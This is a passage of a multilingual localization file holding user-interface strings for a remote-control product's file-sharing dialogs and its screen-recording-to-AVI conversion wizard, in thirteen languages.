<en-gb>Could not connect to %PRODUCTNAME. Please make sure %PRODUCTNAME is enabled on this computer and try again.</en-gb>
<hu>Nem sikerült a csatlakozás ehhez: %PRODUCTNAME. Kérem, ellenőrizze, hogy a %PRODUCTNAME be van kapcsolva ezen a számítógépen, és próbálkozzék újból.</hu>
<pt-br>Não foi possível conectar-se ao %PRODUCTNAME. Assegure-se de que o %PRODUCTNAME esteja habilitado neste computador e tente novamente.</pt-br>
<nl>Kan geen verbinding maken met %PRODUCTNAME. Controleer of %PRODUCTNAME op deze computer is ingeschakeld en probeer het opnieuw.</nl>
</msg>
<msg name="TIMEDOUT">
<en>Timed out while waiting for a response from %PRODUCTNAME. Please make sure you are connected to the Internet and try again.</en>
<es>Tiempo de espera demasiado largo al esperar una respuesta de %PRODUCTNAME. Asegúrese de que está conectado a Internet e inténtelo de nuevo.</es>
<de>Beim Warten auf eine Antwort von %PRODUCTNAME ist eine Zeitüberschreitung aufgetreten. Vergewissern Sie sich, dass eine Verbindung zum Internet besteht, und führen Sie den Vorgang erneut aus.</de>
<fr>Délai expiré lors de l'attente d'une réponse de %PRODUCTNAME. Vérifiez que vous êtes connecté à Internet et réessayez.</fr>
<it>Timeout durante l'attesa di una risposta da %PRODUCTNAME. Verificare di essere connessi a Internet e riprovare.</it>
<ru>Истекло время ожидания ответа от %PRODUCTNAME. Проверьте подключение к Интернету и повторите попытку.</ru>
<ja>%PRODUCTNAME からの応答の待機中にタイムアウトしました。インターネットに接続しているかどうかを確認し、再試行してください。</ja>
<zh>等待来自 %PRODUCTNAME 的响应时超时。请确保已连接至 Internet 并再试一次。</zh>
<ko>%PRODUCTNAME의 응답을 기다리는 중 시간이 초과했습니다. 인터넷에 연결되었는지 확인하고 다시 시도하십시오.</ko>
<en-gb>Timed out while waiting for a response from %PRODUCTNAME. Please make sure you are connected to the Internet and try again.</en-gb>
<hu>Időtúllépés a %PRODUCTNAME válaszára való várakozás során. Kérem, ellenőrizze Internet-kapcsolatát, majd próbálkozzék újból.</hu>
<pt-br>Expirou enquanto aguardava uma resposta do %PRODUCTNAME. Assegure-se de estar conectado à Internet e tente novamente.</pt-br>
<nl>Er is een time-out opgetreden tijdens het wachten op een antwoord van %PRODUCTNAME. Controleer of u met internet bent verbonden en probeer het opnieuw.</nl>
</msg>
<msg name="ACCESSDENIED">
<en>The file you selected could not be shared. Please make sure you have access to the file and that File Sharing is enabled on this computer for your user account.</en>
<es>El archivo que seleccionó no se pudo compartir. Asegúrese de tener acceso al archivo y de que Transferencia de archivos esté habilitada en este ordenador para su cuenta de usuario.</es>
<de>Die von Ihnen gewählte Datei konnte nicht freigegeben werden. Bitte stellen Sie sicher, dass Sie Zugriff auf die Datei haben und dass die Dateifreigabe auf diesem Computer für Ihr Benutzerkonto aktiviert ist.</de>
<fr>Le fichier sélectionné n'a pas pu être partagé. Vérifiez que vous avez accès au fichier et que le Partage de fichiers est activé sur cet ordinateur pour votre compte utilisateur.</fr>
<it>Impossibile condividere il file selezionato. Assicurarsi di avere accesso al file e verificare che la Condivisione dei file sia attivata su questo computer per l'account utente corrente.</it>
<ru>Невозможно открыть общий доступ к выбранному файлу. Убедитесь, что вы имеете доступ к файлу и что функция общего доступа к файлам включена на данном компьютере для вашей учетной записи.</ru>
<ja>選択したファイルを共有できませんでした。 ファイルへのアクセス権があるかどうか、およびお使いのユーザ アカウントに対してこのコンピュータでファイル共有が有効になっているかどうかを確認してください。</ja>
<zh>您所选的文件无法共享。 请确保您可以访问该文件并已在此计算机上对您的用户帐户启用文件共享。</zh>
<ko>선택한 파일을 공유할 수 없습니다. 파일에 대한 액세스 권한을 가지고 있으며 사용자 계정에 대해 이 컴퓨터에서 파일 공유를 사용할 수 있는지 확인하십시오.</ko>
<en-gb>The file you selected could not be shared. Please make sure you have access to the file and that File Sharing is enabled on this computer for your user account.</en-gb>
<hu>A kiválasztott fájl nem osztható meg. Ellenőrizze, hogy hozzáfér-e a fájlhoz, és hogy a fájlmegosztás funkció be van-e kapcsolva ezen a számítógépen az Ön felhasználói fiókjához.</hu>
<pt-br>Não foi possível compartilhar o arquivo que você selecionou. Assegure-se de ter acesso ao arquivo e de que o Compartilhamento de arquivos esteja habilitado neste computador para sua conta de usuário.</pt-br>
<nl>Het bestand dat u hebt geselecteerd, kon niet worden gedeeld. Controleer of u toegang hebt tot het bestand en of de optie "Bestanden delen" op deze computer voor uw gebruikersaccount is ingeschakeld.</nl>
</msg>
<msg name="FAILED">
<en>The file you selected could not be shared. If the file is on a network drive, please copy it to this computer before attempting to share it again.</en>
<es>El archivo que seleccionó no se pudo compartir. Si el archivo está en una unidad de red, cópielo en este ordenador antes de intentar compartirlo otra vez.</es>
<de>Die ausgewählte Datei kann nicht gemeinsam genutzt werden. Wenn sich die Datei auf einem Netzlaufwerk befindet, kopieren Sie die Datei auf diesen Computer, bevor Sie die Freigabe erneut aktivieren.</de>
<fr>Le fichier sélectionné n'a pas pu être partagé. Si le fichier se trouve sur un lecteur réseau, copiez-le sur cet ordinateur avant d'essayer de le partager de nouveau.</fr>
<it>Impossibile condividere il file selezionato. Se il file è su un'unità di rete, copiarlo su questo computer prima di cercare di condividerlo di nuovo.</it>
<ru>Выбранный файл не может использоваться совместно. Если файл находится на сетевом диске, то скопируйте его на компьютер, прежде чем снова пытаться открыть общий доступ к нему.</ru>
<ja>選択したファイルは共有できません。このファイルがネットワーク ドライブに存在する場合は、もう一度共有を試みる前に、このコンピュータにファイルをコピーしてください。</ja>
<zh>无法共享您所选择的文件。如果文件在网络驱动器上,请将其复制到此计算机上,然后再尝试共享。</zh>
<ko>선택한 파일을 공유할 수 없습니다. 파일이 네트워크 드라이브에 있는 경우 다시 파일 공유를 시도하기 전에 이 컴퓨터에 파일을 복사하십시오.</ko>
<en-gb>The file you selected could not be shared. If the file is on a network drive, please copy it to this computer before attempting to share it again.</en-gb>
<hu>A kiválasztott fájl nem osztható meg. Ha a fájl egy hálózati meghajtón található, akkor másolja át azt erre a számítógépre, mielőtt ismételten megkísérli annak megosztását.</hu>
<pt-br>O arquivo que você selecionou não pôde ser compartilhado. Se o arquivo estiver em uma unidade de rede, copie-o para este computador antes de tentar compartilhá-lo novamente.</pt-br>
<nl>Het bestand dat u hebt geselecteerd, kon niet worden gedeeld. Als het bestand op een netwerkstation is opgeslagen, moet u het naar deze computer kopiëren voordat u opnieuw probeert het bestand te delen.</nl>
</msg>
<msg name="PROGRESS.TEXT">
<en>Creating the file link, please wait...</en>
<es>Creando el vínculo de archivo, espere...</es>
<de>Der Hyperlink für die Datei wird erstellt...</de>
<fr>Création du lien du fichier en cours, veuillez patienter...</fr>
<it>Creazione del collegamento al file. Attendere...</it>
<ru>Создается файловая связь, подождите...</ru>
<ja>ファイル リンクを作成しています。お待ちください...</ja>
<zh>正在创建文件链接,请稍候...</zh>
<ko>파일 링크를 만드는 중입니다. 기다려 주십시오...</ko>
<en-gb>Creating the file link, please wait...</en-gb>
<hu>Fájlhivatkozás létrehozása, kérem, várjon...</hu>
<pt-br>Criando o link do arquivo; aguarde...</pt-br>
<nl>Bezig met maken van de link voor het bestand, even geduld...</nl>
</msg>
<msg name="UNEXPECTED">
<en>Unexpected error.</en>
<es>Error inesperado.</es>
<de>Unerwarteter Fehler.</de>
<fr>Erreur inattendue.</fr>
<it>Errore imprevisto.</it>
<ru>Неожиданная ошибка.</ru>
<ja>予期しないエラーが発生しました。</ja>
<zh>意外错误。</zh>
<ko>알 수 없는 오류.</ko>
<en-gb>Unexpected error.</en-gb>
<hu>Váratlan hiba.</hu>
<pt-br>Erro inesperado.</pt-br>
<nl>Onverwachte fout.</nl>
</msg>
<msg name="ADD">
<en>Add...</en>
<de>Hinzufügen...</de>
<es>Agregar...</es>
<fr>Ajouter...</fr>
<it>Aggiungi...</it>
<ru>Добавить...</ru>
<ja>追加...</ja>
<zh>添加...</zh>
<ko>추가...</ko>
<en-gb>Add...</en-gb>
<hu>Hozzáadás...</hu>
<pt-br>Adicionar...</pt-br>
<nl>Toevoegen...</nl>
</msg>
<msg name="DETAILS">
<en>Details...</en>
<de>Details...</de>
<es>Detalles...</es>
<fr>Détails...</fr>
<it>Dettagli...</it>
<ru>Подробности...</ru>
<ja>詳細...</ja>
<zh>详情...</zh>
<ko>세부사항...</ko>
<en-gb>Details...</en-gb>
<hu>Részletek...</hu>
<pt-br>Detalhes...</pt-br>
<nl>Detailgegevens...</nl>
</msg>
<cat name="DETAILSDLG">
<msg name="UNLIMITED">
<en>&amp;Unlimited</en>
<de>&amp;unlimitiert</de>
<es>&amp;Ilimitado</es>
<fr>&amp;Illimité</fr>
<it>&amp;Senza limite</it>
<ru>&amp;Не ограничено</ru>
<ja>無制限(&amp;U)</ja>
<zh>无限制(&amp;U)</zh>
<ko>제한 없음(&amp;U)</ko>
<en-gb>&amp;Unlimited</en-gb>
<hu>&amp;Korlátlan</hu>
<pt-br>&amp;Ilimitado</pt-br>
<nl>&amp;Onbeperkt</nl>
</msg>
<msg name="LINE1">
<en>Please enter the details for this shared file.</en>
<es>Introduzca los detalles para este archivo compartido.</es>
<de>Geben Sie die Details für diese gemeinsam genutzte Datei ein.</de>
<fr>Entrez les détails relatifs à ce fichier partagé.</fr>
<it>Immettere i dettagli per questo file condiviso.</it>
<ru>Введите сведения для данного общего файла.</ru>
<ja>この共有ファイルの詳細を入力してください。</ja>
<zh>请输入此共享文件的详情。</zh>
<ko>이 공유 파일에 대한 세부사항을 입력하십시오.</ko>
<en-gb>Please enter the details for this shared file.</en-gb>
<hu>Kérem, adja meg a megosztott fájl adatait.</hu>
<pt-br>Digite os detalhes deste arquivo compartilhado.</pt-br>
<nl>Voer de detailgegevens voor dit gedeelde bestand in.</nl>
</msg>
<msg name="LINE2">
<en>File name:</en>
<de>Dateinamen:</de>
<es>Nombre de archivo:</es>
<fr>Nom de fichier:</fr>
<it>Nome file:</it>
<ru>Имя файла:</ru>
<ja>ファイル名 :</ja>
<zh>文件名:</zh>
<ko>파일 이름:</ko>
<en-gb>File name:</en-gb>
<hu>Fájlnév:</hu>
<pt-br>Nome do arquivo:</pt-br>
<nl>Bestandsnaam:</nl>
</msg>
<msg name="LINE3">
<en>&amp;Description:</en>
<de>&amp;Beschreibung</de>
<es>&amp;Descripción:</es>
<fr>&amp;Description</fr>
<it>&amp;Descrizione:</it>
<ru>&amp;Описание:</ru>
<ja>説明(&amp;D) :</ja>
<zh>说明(&amp;D):</zh>
<ko>설명(&amp;D):</ko>
<en-gb>&amp;Description:</en-gb>
<hu>&amp;Leírás:</hu>
<pt-br>&amp;Descrição:</pt-br>
<nl>&amp;Beschrijving:</nl>
</msg>
<msg name="LINE4">
<en>&amp;Max # of downloads:</en>
<es>&amp;Nº máx. de descargas:</es>
<de>&amp;Maximale Anzahl der Downloads:</de>
<fr>Nbre &amp;max de téléchargements :</fr>
<it>&amp;N. massimo di download:</it>
<ru>&amp;Не более # загрузок:</ru>
<ja>ダウンロード最大数(&amp;M) :</ja>
<zh>最大下载次数(&amp;M):</zh>
<ko>최대 다운로드 수(&amp;M):</ko>
<en-gb>&amp;Max # of downloads:</en-gb>
<hu>&amp;Letöltések maximális száma:</hu>
<pt-br>&amp;Núm. máx. de downloads:</pt-br>
<nl>&amp;Maximumaantal downloads:</nl>
</msg>
<msg name="LINE5">
<en>&amp;Share for:</en>
<es>&amp;Compartir durante:</es>
<de>&amp;Freigabe für:</de>
<fr>&amp;Partager pour :</fr>
<it>Condi&amp;vidi per:</it>
<ru>&amp;Общий в течение:</ru>
<ja>共有の期間(&amp;S) :</ja>
<zh>共享期限(&amp;S):</zh>
<ko>공유 기간(&amp;S):</ko>
<en-gb>&amp;Share for:</en-gb>
<hu>&amp;Megosztás eddig:</hu>
<pt-br>&amp;Compartilhar para:</pt-br>
<nl>&amp;Gedeeld gedurende:</nl>
</msg>
<msg name="MINUTES">
<en>Minutes</en>
<de>Minute(n)</de>
<es>Minutos</es>
<fr>Minutes</fr>
<it>Minuti</it>
<ru>минут</ru>
<ja>分</ja>
<zh>分钟</zh>
<ko>분</ko>
<en-gb>Minutes</en-gb>
<hu>perc</hu>
<pt-br>Minutos</pt-br>
<nl>minuten</nl>
</msg>
<msg name="HOURS">
<en>Hours</en>
<de>Stunden</de>
<es>Horas</es>
<fr>Heures</fr>
<it>Ore</it>
<ru>Часов</ru>
<ja>時間</ja>
<zh>小时</zh>
<ko>시간</ko>
<en-gb>Hours</en-gb>
<hu>óra</hu>
<pt-br>Horas</pt-br>
<nl>uren</nl>
</msg>
<msg name="DAYS">
<en>Days</en>
<de>Tage</de>
<es>Días</es>
<fr>Jours</fr>
<it>Giorni</it>
<ru>Дней</ru>
<ja>日</ja>
<zh>天</zh>
<ko>일</ko>
<en-gb>Days</en-gb>
<hu>nap</hu>
<pt-br>Dias</pt-br>
<nl>dagen</nl>
</msg>
</cat>
<cat name="URLDLG">
<msg name="COPY">
<en>&amp;Copy link to clipboard</en>
<es>&amp;Copiar URL en portapapeles</es>
<de>&amp;URL in die Zwischenablage kopieren</de>
<fr>&amp;Copier le lien dans le presse-papiers</fr>
<it>&amp;Copia collegamento negli Appunti</it>
<ru>&amp;Скопировать ссылку в буфер обмена</ru>
<ja>リンクをクリップボードにコピー(&amp;C)</ja>
<zh>将链接复制到剪贴板(&amp;C)</zh>
<ko>클립보드에 링크 복사(&amp;C)</ko>
<en-gb>&amp;Copy link to clipboard</en-gb>
<hu>&amp;Hivatkozás másolása a vágólapra</hu>
<pt-br>&amp;Copiar link na área de transferência</pt-br>
<nl>&amp;Link kopiëren naar Klembord</nl>
</msg>
<msg name="CLOSE">
<en>C&amp;lose</en>
<de>Sch&amp;ließen</de>
<es>C&amp;errar</es>
<fr>Fermer</fr>
<it>C&amp;hiudi</it>
<ru>&amp;Закрыть</ru>
<ja>閉じる(&amp;L)</ja>
<zh>关闭(&amp;L)</zh>
<ko>닫기(&amp;L)</ko>
<en-gb>C&amp;lose</en-gb>
<hu>B&amp;ezárás</hu>
<pt-br>F&amp;echar</pt-br>
<nl>&amp;Sluiten</nl>
</msg>
<msg name="APPLY">
<en>&amp;Apply changes</en>
<de>Änderungen übernehmen</de>
<es>&amp;Aplicar cambios</es>
<fr>&amp;Appliquer les changements</fr>
<it>&amp;Applica modifiche</it>
<ru>&amp;Применить изменения</ru>
<ja>変更を適用(&amp;A)</ja>
<zh>应用更改(&amp;A)</zh>
<ko>변경 사항 적용(&amp;A)</ko>
<en-gb>&amp;Apply changes</en-gb>
<hu>&amp;Módosítások alkalmazása</hu>
<pt-br>&amp;Aplicar alterações</pt-br>
<nl>&amp;Wijzigingen toepassen</nl>
</msg>
<msg name="LINE1">
<en>The URL below can now be used to download your file.</en>
<es>Puede utilizar la siguiente URL para descargar su archivo.</es>
<de>Sie können die Datei jetzt über den nachstehenden URL downloaden.</de>
<fr>L'URL ci-dessous peut désormais être utilisée pour télécharger votre fichier.</fr>
<it>L'URL seguente può essere ora utilizzato per effettuare il download del file.</it>
<ru>Представленный ниже URL-адрес можно использовать для загрузки своего файла.</ru>
<ja>以下の URL で、今すぐファイルをダウンロードできます。</ja>
<zh>现在可以使用以下 URL 来下载您的文件。</zh>
<ko>아래 URL을 사용하여 파일을 다운로드할 수 있습니다.</ko>
<en-gb>The URL below can now be used to download your file.</en-gb>
<hu>Az alábbi URL most már felhasználható a fájl letöltéséhez.</hu>
<pt-br>O URL a seguir agora pode ser usado para baixar seu arquivo.</pt-br>
<nl>U kunt het URL-adres hieronder nu gebruiken om uw bestand te downloaden.</nl>
</msg>
<msg name="LINE2">
<en>URL:</en>
<es>URL:</es>
<de>URL:</de>
<fr>URL :</fr>
<it>URL:</it>
<ru>URL-адрес:</ru>
<ja>URL :</ja>
<zh>URL:</zh>
<ko>URL:</ko>
<en-gb>URL:</en-gb>
<hu>URL:</hu>
<pt-br>URL:</pt-br>
<nl>URL-adres:</nl>
</msg>
</cat>
</cat>
<cat name="AVICONV">
<cat name="MSGBOX">
<msg name="CANCELQ">
<en>Are you sure you want to cancel this operation?</en>
<de>Sind Sie sicher, dass Sie den Vorgang abbrechen möchten?</de>
<es>¿Está seguro de que desea cancelar esta operación?</es>
<fr>Voulez-vous vraiment annuler cette opération ?</fr>
<it>Annullare questa operazione?</it>
<ru>Отменить данную операцию?</ru>
<ja>この操作を取り消しますか?</ja>
<zh>是否确定要取消该操作?</zh>
<ko>이 작업을 취소하시겠습니까?</ko>
<en-gb>Are you sure you want to cancel this operation?</en-gb>
<hu>Biztosan meg kívánja szakítani ezt a műveletet?</hu>
<pt-br>Tem certeza de que deseja cancelar esta operação?</pt-br>
<nl>Weet u zeker dat u deze bewerking wilt annuleren?</nl>
</msg>
<msg name="ADDFILE">
<en>Please add at least one file to convert.</en>
<de>Geben Sie mindestens eine Datei für die Konvertierung an.</de>
<es>Agregue al menos un archivo para convertir.</es>
<fr>Ajoutez au moins un fichier à convertir.</fr>
<it>Aggiungere almeno un file da convertire.</it>
<ru>Добавьте хотя бы один файл для преобразования.</ru>
<ja>変換するファイルを最低 1 ファイル追加してください。</ja>
<zh>请至少添加一个要转换的文件。</zh>
<ko>변환할 파일을 하나 이상 추가하십시오.</ko>
<en-gb>Please add at least one file to convert.</en-gb>
<hu>Kérem, a konvertáláshoz adjon meg legalább egy fájlt.</hu>
<pt-br>Adicione pelo menos um arquivo para conversão.</pt-br>
<nl>Voeg minstens één bestand toe om het te converteren.</nl>
</msg>
<msg name="CONVERROR">
<en>%PRODUCTNAME has encountered one or more errors during conversion.</en>
<de>%PRODUCTNAME hat die ausgewählten Dateien konvertiert.</de>
<es>%PRODUCTNAME ha encontrado uno o más errores durante la conversión.</es>
<fr>%PRODUCTNAME a converti les fichiers sélectionnés.</fr>
<it>%PRODUCTNAME ha riscontrato uno o più errori durante la conversione.</it>
<ru>Во время преобразования приложение %PRODUCTNAME обнаружило одну или несколько ошибок.</ru>
<ja>%PRODUCTNAME で変換中にエラーが発生しました。</ja>
<zh>%PRODUCTNAME 在转换期间遇到了一个或多个错误。</zh>
<ko>%PRODUCTNAME은(는) 변환 중 하나 이상의 오류를 발견했습니다.</ko>
<en-gb>%PRODUCTNAME has encountered one or more errors during conversion.</en-gb>
<hu>A %PRODUCTNAME egy vagy több hibát talált a konvertálás során.</hu>
<pt-br>O %PRODUCTNAME encontrou um ou mais erros durante a conversão.</pt-br>
<nl>%PRODUCTNAME heeft tijdens de conversie een of meer fouten vastgesteld.</nl>
</msg>
<msg name="CONVSUCCESS">
<en>%PRODUCTNAME has converted the selected files.</en>
<de>Konvertierung beendet.</de>
<es>%PRODUCTNAME ha convertido los archivos seleccionados.</es>
<fr>Conversion terminée.</fr>
<it>%PRODUCTNAME ha convertito i file selezionati.</it>
<ru>Приложение %PRODUCTNAME преобразовало выбранные файлы.</ru>
<ja>%PRODUCTNAME は、選択したファイルを変換しました。</ja>
<zh>%PRODUCTNAME 已转换所选文件。</zh>
<ko>%PRODUCTNAME은(는) 선택한 파일을 변환했습니다.</ko>
<en-gb>%PRODUCTNAME has converted the selected files.</en-gb>
<hu>A %PRODUCTNAME konvertálta a kiválasztott fájlokat.</hu>
<pt-br>O %PRODUCTNAME converteu os arquivos selecionados.</pt-br>
<nl>%PRODUCTNAME heeft de geselecteerde bestanden geconverteerd.</nl>
</msg>
</cat>
<cat name="LOG">
<msg name="FILECANCELLED">
<en>Cancelled.</en>
<de>Abgebrochen</de>
<es>Cancelado.</es>
<fr>Annulé</fr>
<it>Operazione annullata.</it>
<ru>Отменен.</ru>
<ja>取り消されました。</ja>
<zh>已取消。</zh>
<ko>취소됨.</ko>
<en-gb>Cancelled.</en-gb>
<hu>Megszakítva.</hu>
<pt-br>Cancelado.</pt-br>
<nl>Geannuleerd.</nl>
</msg>
<msg name="ABORT">
<en>Conversion aborted.</en>
<de>Die Konvertierung wurde abgebrochen.</de>
<es>Conversión anulada.</es>
<fr>Conversion interrompue.</fr>
<it>Conversione interrotta.</it>
<ru>Преобразование прервано.</ru>
<ja>変換が異常終了しました。</ja>
<zh>转换终止。</zh>
<ko>변환이 중단되었습니다.</ko>
<en-gb>Conversion aborted.</en-gb>
<hu>Konvertálás megszakítva.</hu>
<pt-br>Conversão abortada.</pt-br>
<nl>Conversie is afgebroken.</nl>
</msg>
<msg name="FILEABORTED">
<en>Aborted.</en>
<de>Abgebrochen.</de>
<es>Anulada.</es>
<fr>Interrompue.</fr>
<it>Operazione interrotta.</it>
<ru>Прервано.</ru>
<ja>異常終了しました。</ja>
<zh>终止。</zh>
<ko>중단되었습니다.</ko>
<en-gb>Aborted.</en-gb>
<hu>Megszakítva.</hu>
<pt-br>Abortada.</pt-br>
<nl>Afgebroken.</nl>
</msg>
<msg name="FILEOK">
<en>OK: $1</en>
<de>OK: $1</de>
<es>Aceptar: $1</es>
<fr>OK: $1</fr>
<it>OK: $1</it>
<ru>OK: $1</ru>
<ja>OK : $1</ja>
<zh>确定:$1</zh>
<ko>확인: $1</ko>
<en-gb>OK: $1</en-gb>
<hu>OK: $1</hu>
<pt-br>OK: $1</pt-br>
<nl>OK: $1</nl>
</msg>
<msg name="DELETE">
<en>Deleting file $1.</en>
<de>Dateien $1 werden gelöscht.</de>
<es>Eliminando el archivo $1.</es>
<fr>Supression de fichier $1.</fr>
<it>Eliminazione del file $1.</it>
<ru>Удаление файла $1.</ru>
<ja>ファイル $1 を削除しています。</ja>
<zh>正在删除文件 $1。</zh>
<ko>$1 파일 삭제 중.</ko>
<en-gb>Deleting file $1.</en-gb>
<hu>$1 fájl törlése.</hu>
<pt-br>Excluindo arquivo $1.</pt-br>
<nl>Bezig met verwijderen van bestand $1.</nl>
</msg>
<msg name="FILEDELETED">
<en>Deleted: $1</en>
<de>Gelöscht: $1</de>
<es>Eliminado: $1</es>
<fr>Supprimé: $1</fr>
<it>Eliminato: $1</it>
<ru>Удален: $1</ru>
<ja>削除済み : $1</ja>
<zh>已删除:$1</zh>
<ko>삭제됨: $1</ko>
<en-gb>Deleted: $1</en-gb>
<hu>Törölve: $1</hu>
<pt-br>Excluído: $1</pt-br>
<nl>Verwijderd: $1</nl>
</msg>
<msg name="DELETEERROR">
<en>*** The following error occured while deleting the above file:</en>
<de>*** Beim Löschen der oben angegebenen Datei ist der folgende Fehler aufgetreten:</de>
<fr>*** L'erreur suivante s'est produite lors de la suppression des fichiers ci-dessus :</fr>
<es>*** Se produjo el siguiente error al eliminar el archivo de arriba:</es>
<it>*** Durante l'eliminazione del file sopra indicato si è verificato il seguente errore:</it>
<ru>*** Во время удаления вышеуказанного файла произошла следующая ошибка:</ru>
<ja>*** 上記のファイルの削除中に次のエラーが発生しました :</ja>
<zh>*** 删除以上文件时发生了以下错误:</zh>
<ko>*** 위의 파일을 삭제하는 동안 다음 오류가 발생했습니다.</ko>
<en-gb>*** The following error occured while deleting the above file:</en-gb>
<hu>*** A következő hiba történt a fenti fájl törlése során:</hu>
<pt-br>*** O erro a seguir ocorreu durante a exclusão do arquivo acima:</pt-br>
<nl>*** De volgende fout is opgetreden tijdens het verwijderen van het bovenstaande bestand:</nl>
</msg>
<msg name="FINISHED">
<en>Conversion finished.</en>
<de>Konvertierung beendet.</de>
<fr>Conversion terminée.</fr>
<es>Conversión finalizada.</es>
<it>Conversione terminata.</it>
<ru>Преобразование завершено.</ru>
<ja>変換が終了しました。</ja>
<zh>转换完成。</zh>
<ko>변환이 완료되었습니다.</ko>
<en-gb>Conversion finished.</en-gb>
<hu>Konvertálás kész.</hu>
<pt-br>Conversão concluída.</pt-br>
<nl>Conversie is voltooid.</nl>
</msg>
</cat>
<msg name="W2KREQ">
<en>This feature requires Windows 2000 or newer.</en>
<de>Diese Funktion setzt Windows 2000 oder höher voraus.</de>
<es>Esta característica requiere Windows 2000 o posterior.</es>
<fr>Cette fonction requiert la version Windows 2000 ou suppérieure</fr>
<it>Questa funzione richiede Windows 2000 o versione successiva.</it>
<ru>Для использования этой возможности требуется Windows 2000 или более поздняя версия.</ru>
<ja>この機能は Windows 2000 またはそれ以降のバージョンを必要とします。</ja>
<zh>该功能要求使用 Windows 2000 或更高版本。</zh>
<ko>이 기능을 사용하려면 Windows 2000 이상이 필요합니다.</ko>
<en-gb>This feature requires Windows 2000 or newer.</en-gb>
<hu>Ez a funkció Windows 2000 vagy ennél újabb verziót igényel.</hu>
<pt-br>Este recurso requer Windows 2000 ou mais recente.</pt-br>
<nl>Voor deze functie is Windows 2000 of een meer recente versie vereist.</nl>
</msg>
<cat name="WELCOME">
<msg name="LINE1">
<en>This wizard will convert %PRODUCTNAME remote control screen recording files into an AVI file for playback in any media player.</en>
<de>Dieser Assistent konvertiert %PRODUCTNAME-Bildschirmaufnahmedateien der Fernsteuerungssitzung in AVI-Dateien, die mit einem beliebigen Media-Player abgespielt werden können.</de>
<es>Este asistente convertirá los archivos de grabación de pantalla de control remoto de %PRODUCTNAME en un archivo AVI para su reproducción en cualquier reproductor de medios.</es>
<fr>Ce assistant convertira les fichiers d'enregistrement d'écrans du contrôle distant de %PRODUCTNAME en fichiers de format AVI et pourront être visionnés par n'importe quel visionneur de médias.</fr>
<it>Questa procedura guidata convertirà i file .rcrec di %PRODUCTNAME in un file AVI che possa essere riprodotto da qualsiasi lettore multimediale.</it>
<ru>С помощью данного мастера файлы записи экранов удаленного управления %PRODUCTNAME можно преобразовать в AVI-файлы для воспроизведения на любом универсальном проигрывателе.</ru>
<ja>このウィザードは、%PRODUCTNAME リモート制御画面記録ファイルを任意のメディア プレイヤで再生可能な AVI ファイルに変換します。</ja>
<zh>此向导会将 %PRODUCTNAME 远程控制屏幕记录文件转换为 AVI 文件,以便在任何媒体播放器中播放。</zh>
<ko>이 마법사는 %PRODUCTNAME 원격 제어 화면 기록 파일을 미디어 플레이어에서 재생하기 위한 AVI 파일로 변환합니다.</ko>
<en-gb>This wizard will convert %PRODUCTNAME remote control screen recording files into an AVI file for playback in any media player.</en-gb>
<hu>Ez a varázsló fogja konvertálni a %PRODUCTNAME távvezérlési képernyőrögzítés fájljait egy AVI fájllá, amely bármilyen médialejátszón lejátszható.</hu>
<pt-br>Este assistente converterá os arquivos de gravação da tela de controle remoto do %PRODUCTNAME em um arquivo AVI para reprodução em qualquer player de mídia.</pt-br>
<nl>Met deze wizard worden de opgenomen bestanden van de besturing op afstand in %PRODUCTNAME geconverteerd naar een AVI-bestand dat u met elke mediaspeler kunt afspelen.</nl>
</msg>
<msg name="LINE2">
<en>Remote control screen recording files (.rcrec) are created by %PRODUCTNAME automatically once you enable this feature on the Log Settings preferences page.</en>
<de>Bildschirmaufnahmedateien der Fernsteuerungssitzung (.rcrec) werden von %PRODUCTNAME automatisch erstellt, nachdem diese Funktion auf der Seite für die Log-Einstellungen aktiviert wurde.</de>
<es>%PRODUCTNAME crea automáticamente archivos de grabación de pantalla de control remoto (.rcrec) si habilita esta característica en la página de preferencias Configuración de registro.</es>
<fr>Les fichiers d'enregistrement d'écran (.rcrec) du contrôle distant  sont créés automatiquement par %PRODUCTNAME dès que vous activez cette commande dans la page:  préférences des paramètres de notifications.</fr>
<it>I file .rcrec vengono creati automaticamente da %PRODUCTNAME dopo aver attivato questa funzione nella pagina delle preferenze per le impostazioni di registrazione.</it>
<ru>Файлы записи экранов удаленного управления (.rcrec) создаются приложением %PRODUCTNAME автоматически в случае включения этой функции на странице предпочтений "Настройки журнала".</ru>
<ja>リモート制御画面記録ファイル (.rcrec) は、ログ設定の選択ページで一度この機能を有効にすれば、自動的に %PRODUCTNAME により作成されます。</ja>
<zh>远程控制屏幕记录文件 (.rcrec) 是您在“日志设置首选项”页面启用此功能后由 %PRODUCTNAME 自动创建的。</zh>
<ko>"로그 설정" 기본 설정 페이지에서 이 기능을 사용하도록 설정하면 %PRODUCTNAME은(는) 자동으로 원격 제어 화면 기록 파일(.rcrec)을 만듭니다.</ko>
<en-gb>Remote control screen recording files (.rcrec) are created by %PRODUCTNAME automatically once you enable this feature on the Log Settings preferences page.</en-gb>
<hu>A távvezérlési képernyőrögzítés fájljait (.rcrec) a %PRODUCTNAME automatikusan hozza létre, amint bekapcsolja ezt a funkciót a Naplózási beállítások oldalon.</hu>
<pt-br>Os arquivos de gravação de tela de controle remoto(.rcrec) são criados pelo %PRODUCTNAME automaticamente, depois que você ativa esse recurso na página de preferências de Configurações do log.</pt-br>
<nl>De bestanden van de schermopnamen van de besturing op afstand (.rcrec) worden door %PRODUCTNAME automatisch gemaakt als u deze optie op de pagina Voorkeurinstellingen voor het logboek hebt ingeschakeld.</nl>
</msg>
<msg name="LINE3">
<en>Please click Next to continue.</en>
<de>Bitte klicken Sie auf Weiter für fortzufahren.</de>
<es>Haga clic en Siguiente para continuar.</es>
<fr>Pressez Suivant pour continuer.</fr>
<it>Fare clic su Avanti per continuare.</it>
<ru>Щелкните "Далее", чтобы продолжить.</ru>
<ja>続行するには、[次へ] をクリックしてください。</ja>
<zh>请单击“下一步”继续。</zh>
<ko>"다음"을 클릭하여 계속하십시오.</ko>
<en-gb>Please click Next to continue.</en-gb>
<hu>Kattintson a Következő gombra a folytatáshoz.</hu>
<pt-br>Clique em Avançar para continuar.</pt-br>
<nl>Klik op Volgende om door te gaan.</nl>
</msg>
</cat>
<cat name="RESCUEWELCOME">
<msg name="LINE1">
<en>%PRODUCTNAME %VERSION_TEXT</en>
<es>%PRODUCTNAME %VERSION_TEXT</es>
<it>%PRODUCTNAME %VERSION_TEXT</it>
<ru>%PRODUCTNAME %VERSION_TEXT</ru>
<ja>%PRODUCTNAME %VERSION_TEXT</ja>
<zh>%PRODUCTNAME %VERSION_TEXT</zh>
<ko>%PRODUCTNAME %VERSION_TEXT</ko>
<en-gb>%PRODUCTNAME %VERSION_TEXT</en-gb>
<hu>%PRODUCTNAME %VERSION_TEXT</hu>
